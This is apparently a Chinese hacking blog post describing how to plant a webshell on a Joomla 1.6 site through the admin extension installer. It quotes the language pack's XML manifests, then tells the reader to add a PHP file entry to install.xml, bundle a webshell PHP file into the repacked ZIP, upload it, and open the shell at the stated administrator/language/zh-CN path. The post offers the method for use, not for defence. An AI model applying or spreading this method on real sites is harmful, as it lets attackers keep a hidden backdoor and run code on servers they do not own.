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joomla CMS后台有个专门更新插件的接口，只支持上传ZIP文件。
Google 一下目前最新版本是 joomla_1.6。下载了一个中文语言包ZIP格式的，解压出来如下：

pkg_zh_CN.xml 代码如下：
<?xml version="1.0" encoding="UTF-8" ?>
<!-- $Id: zh-CN.install.xml 216 2011-03-08 06:44:51Z tchyusuf $ -->
<extension type="package" version="1.6">
<name>Simplified Chinese Language Pack</name>
<tag>zh-CN</tag>
<packagename>zh-CN</packagename>
<version>1.6.1</version>
<creationDate>2011-03-12</creationDate>
<author>CHN Translation Team</author>
<authorEmail>zhous1998@sohu.com</authorEmail>
<authorUrl>www.joomla.cn</authorUrl>
<copyright>Copyright (C) 2010 CHN Joomla Translation Team (http://joomlacode.org/gf/project/choice/). All rights reserved.</copyright>
<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
<description>
</description>
<files>
<file type="language" client="site" id="zh-CN">site_zh-CN.zip</file>
<file type="language" client="admin" id="zh-CN">admin_zh-CN.zip</file>
</files>
</extension>
升级或者更新插件不就是读取XML里面的 site_zh-CN.zip 和 admin_zh-CN.zip 吗？
解压 admin_zh-CN.zip 再看看 install.xml 里面的代码。
install.xml：
<?xml version="1.0" encoding="utf-8"?>
<install type="language" version="1.6" client="administrator" method="upgrade">
<name>简体中文</name>
<tag>zh-CN</tag>
<version>1.6.1</version>
<creationDate>2011-03-08</creationDate>
<author>Derek Joe(zhous)</author>
<authorEmail>zhous1998@sohu.com</authorEmail>
<authorurl>www.joomla.cn</authorurl>
<copyright>Copyright (C) 2010 CHN Joomla Translation (http://joomlacode.org/gf/project/choice/). All rights reserved.</copyright>
<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
<description>
</description>
<files>
<filename>index.html</filename>
<filename>zh-CN.com_admin.ini</filename>
<filename>zh-CN.com_admin.sys.ini</filename>
<filename>zh-CN.com_banners.ini</filename>
<filename>zh-CN.com_banners.sys.ini</filename>
<filename>zh-CN.com_cache.ini</filename>
<filename>zh-CN.com_cache.sys.ini</filename>
<filename>zh-CN.com_categories.ini</filename>
<filename>zh-CN.com_categories.sys.ini</filename>
<filename>zh-CN.com_checkin.ini</filename>
<filename>zh-CN.com_checkin.sys.ini</filename>
<filename>zh-CN.com_config.ini</filename>
<filename>zh-CN.com_config.sys.ini</filename>
<filename>zh-CN.com_contact.ini</filename>
<filename>zh-CN.com_contact.sys.ini</filename>
<filename>zh-CN.com_content.ini</filename>
<filename>zh-CN.com_content.sys.ini</filename>
<filename>zh-CN.com_cpanel.ini</filename>
更新不就是install.xml读取压缩包里面的文件，然后到WEB上面解压出来吗，于是有了想法。
在代码下面加上：<filename>>xxxxxx.php</filename>
然后再里面创建一个 xxxxxx.php 写上你的大马，打包记得一下要是ZIP文件，否则不能上传。
替换掉原来的 admin_zh-CN.zip，然后再进行打包 site_zh-CN.zip 和 admin_zh-CN.zip。
上传安装，你的 xxxxxx.php 会解压到目录：administrator\language\zh-CN
得到 WebShell 的地址：
http://xxxx.com/administrator/language/zh-CN/xxxxxx.php
至于 joomla_1.6 之前的版本，同样的方法，只是代码稍有变动